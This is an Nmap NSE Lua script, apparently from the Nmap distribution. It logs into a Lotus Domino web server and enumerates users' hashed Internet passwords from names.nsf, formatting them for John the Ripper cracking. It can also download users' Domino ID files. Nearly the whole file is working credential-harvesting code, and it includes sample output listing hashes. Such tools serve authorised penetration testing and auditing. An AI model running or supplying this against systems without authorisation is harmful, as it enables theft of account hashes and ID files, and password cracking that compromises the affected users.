local creds = require "creds"
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"

description = [[
Attempts to enumerate the hashed Domino Internet Passwords that are (by
default) accessible by all authenticated users. This script can also download
any Domino ID Files attached to the Person document.  Passwords are presented
in a form suitable for running in John the Ripper.

The passwords may be stored in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785):

1. Saltless (legacy support?)
   Example: 355E98E7C7B59BD810ED845AD0FD2FC4
   John's format name: lotus5
2. Salted (also known as "More Secure Internet Password")
   Example: (GKjXibCW2Ml6juyQHUoP)
   John's format name: dominosec

It appears as if form based authentication is enabled, basic authentication
still works. Therefore the script should work in both scenarios. Valid
credentials can either be supplied directly using the parameters username
and password or indirectly from results of http-brute or http-form-brute.
]]

---
-- @usage
-- nmap --script domino-enum-passwords -p 80 <host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret
--
-- @output
-- PORT     STATE SERVICE REASON
-- 80/tcp   open  http    syn-ack
-- | domino-enum-passwords:
-- |   Information
-- |     Information retrieved as: "Jim Brass"
-- |   Internet hashes (salted, jtr: --format=DOMINOSEC)
-- |      Jim Brass:(GYvlbOz2idzni5peJUdD)
-- |      Warrick Brown:(GZghNctqAnJgyklUl2ml)
-- |      Gill Grissom:(GyhsteeXTr75YOSwW8mc)
-- |      David Hodges:(GZEJRHqJEVc5IZCsNX0U)
-- |      Ray Langston:(GE18MGVGD/8ftYMFaVlY)
-- |      Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
-- |      Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
-- |      Wendy Simms:(G6wooaElHpsvA4TPvSfi)
-- |      Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
-- |      Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
-- |   Internet hashes (unsalted, jtr: --format=lotus5)
-- |      Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4
-- |      John Smith:655E98E7C7B59BD810ED845AD0FD2FD4
-- |   ID Files
-- |      Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
-- |      Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
-- |      Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
-- |      David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
-- |      Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
-- |      Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
-- |      Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
-- |      Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
-- |      Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
-- |      Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
-- |
-- |_  Results limited to 10 results (see domino-enum-passwords.count)
--
--
-- @args domino-enum-passwords.path points to the path protected by authentication
-- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting
-- @args domino-enum-passwords.count the number of internet hashes and id files to fetch.
--       If a negative value is given, all hashes and id files are retrieved (default: 10)
-- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved
--       If not given, the script will only indicate if the ID file is donwloadable or not
-- @args domino-enum-passwords.username Username for HTTP auth, if required
-- @args domino-enum-passwords.password Password for HTTP auth, if required

--
-- Version 0.4
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
-- Revised 11/25/2010 - v0.3 - added support for separating hash-type <martin@swende.se>
-- Revised 04/16/2015 - v0.4 - switched to 'creds' credential repository <nnposter>

author = "Patrik Karlsson"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
dependencies = {"http-brute", "http-form-brute"}


portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")

--- Checks if the <code>path</code> require authentication
--
-- @param host table as received by the action function or the name specified
--             in the hostname argument
-- @param port table as received by the action function
-- @param path against which to check if authentication is required
local function requiresAuth( host, port, path )
  local result = http.get(host, port, "/names.nsf")

  if ( result.status == 401 ) then
    return true
  elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
    return true
  end
  return false
end

--- Checks if the credentials are valid and allow access to <code>path</code>
--
-- @param host table as received by the action function or the name specified
--             in the hostname argument
-- @param port as received by the action method
-- @param path the patch against which to validate the credentials
-- @param user the username used for authentication
-- @param pass the password used for authentication
-- @return true on valid access, false on failure
local function isValidCredential( host, port, path, user, pass )
  -- we need to supply the no_cache directive, or else the http library
  -- incorrectly tells us that the authentication was successful
  local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })

  if ( result.status == 401 ) then
    return false
  end
  return true
end

--- Retrieves all uniq links in a pages
--
-- @param body the html content of the received page
-- @param filter a filter to use for additional link filtering
-- @param links [optional] table containing previously retrieved links
-- @return links table containing retrieved links
local function getLinks( body, filter, links )
  local tmp = {}
  local links = links or {}
  local filter = filter or ".*"

  if ( not(body) ) then return end
  for _, v in ipairs( links ) do
    tmp[v] = true
  end

  for link in body:gmatch("<a href=\"([^\"]+)\"") do
    -- use link as key in order to remove duplicates
    if ( link:match(filter)) then
      tmp[link] = true
    end
  end

  links = {}
  for k, _ in pairs(tmp) do
    table.insert(links, k)
  end

  return links
end

--- Retrieves the "next page" path from the returned document
--
-- @param body the html content of the received page
-- @return link to next page
local function getPager( body )
  return body:match("<form.+action=\"(.+%?ReadForm)&" )
end

--- Retrieves the username and passwords for a user
--
-- @param body the html content of the received page
-- @return full_name the full name of the user
-- @return password the password hash for the user
local function getUserDetails( body )

  -- retrieve the details
  local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
  local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
  local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
  local id_file = body:match("<a href=\"(.-UserID)\">")

  -- Remove the parenthesis around the password
  http_passwd = http_passwd:sub(2,-2)
  -- In case we have more than one full name, return only the last
  full_name = stdnse.strsplit(";%s*", full_name)
  full_name = full_name[#full_name]

  return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
end

--- Saves the ID file to disk
--
-- @param filename string containing the name and full path to the file
-- @param data contains the data
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
  local f = io.open( filename, "w")
  if ( not(f) ) then
    return false, ("Failed to open file (%s)"):format(filename)
  end
  if ( not(f:write( data ) ) ) then
    return false, ("Failed to write file (%s)"):format(filename)
  end
  f:close()

  return true
end

local function fail (err) return stdnse.format_output(false, err) end

action = function(host, port)

  local path = "/names.nsf"
  local download_path = stdnse.get_script_args('domino-enum-passwords.idpath')
  local vhost= stdnse.get_script_args('domino-enum-passwords.hostname')
  local user = stdnse.get_script_args('domino-enum-passwords.username')
  local pass = stdnse.get_script_args('domino-enum-passwords.password')
  local pos, pager
  local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
  local chunk_size = 30
  local max_fetch = tonumber(stdnse.get_script_args('domino-enum-passwords.count')) or 10
  local http_response
  local has_creds = false
  -- authentication required?
  if ( requiresAuth( vhost or host, port, path ) ) then
   -- A user was provided, attempt to authenticate
    if ( user ) then
      if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
        return fail("The provided credentials were invalid")
      end
    else
      local c = creds.Credentials:new(creds.ALL_DATA, host, port)
      for cred in c:getCredentials(creds.State.VALID) do
        has_creds = true
        if (isValidCredential(vhost or host, port, path, cred.user, cred.pass)) then
          user = cred.user
          pass = cred.pass
          break
        end
      end
      if not pass then
        local msg = has_creds and "No valid credentials were found" or "No credentials supplied"
        return fail(("%s (see domino-enum-passwords.username and domino-enum-passwords.password)"):format(msg))
      end
    end
  end

  path = "/names.nsf/People?OpenView"
  http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
  if http_response.status and http_response.status ==200 then
    pager = getPager( http_response.body )
  end
  if ( not(pager) ) then
    if ( http_response.body and
      http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
      return fail("Failed to authenticate")
    else
      return fail("Failed to process results")
    end
  end
  pos = 1

  -- first collect all links
  while( true ) do
    path = pager .. "&Start=" .. pos
    http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })

    if ( http_response.status == 200 ) then
      local size = #links
      links = getLinks( http_response.body, "%?OpenDocument", links )
      -- No additions were made
      if ( size == #links ) then
        break
      end
    end

    if ( max_fetch > 0 and max_fetch < #links ) then
      break
    end

    pos = pos + chunk_size
  end

  for _, link in ipairs(links) do
    stdnse.debug2("Fetching link: %s", link)
    http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
    local u_details = getUserDetails( http_response.body )

    if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
      break
    end

    if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
      stdnse.debug2("Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
      -- Old type are 32 bytes, new are 20
      if #u_details.passwd == 32 then
        table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
      else
        table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
      end
    end

    if ( u_details.idfile ) then
      stdnse.debug2("Found ID file for user: %s", u_details.fullname)
      if ( download_path ) then
        stdnse.debug2("Downloading ID file for user: %s", u_details.full_name)
        http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })

        if ( http_response.status == 200 ) then
          local filename = download_path .. "/" .. stdnse.filename_escape(u_details.fullname .. ".id")
          local status, err = saveIDFile( filename, http_response.body )
          if ( status ) then
            table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) )
          else
            table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
          end
        else
          table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
        end
      else
        table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
      end
    end
  end

  if( #hashes + #legacyHashes > 0) then
    table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
  end

  if ( #hashes ) then
    hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
    table.insert( result, hashes )
  end
  if (#legacyHashes ) then
    legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
    table.insert( result, legacyHashes )
  end

  if ( #id_files ) then
    id_files.name = "ID Files"
    table.insert( result, id_files )
  end

  local result = stdnse.format_output(true, result)

  if ( max_fetch > 0 ) then
    result = result .. ("  \n  Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
  end

  return result

end
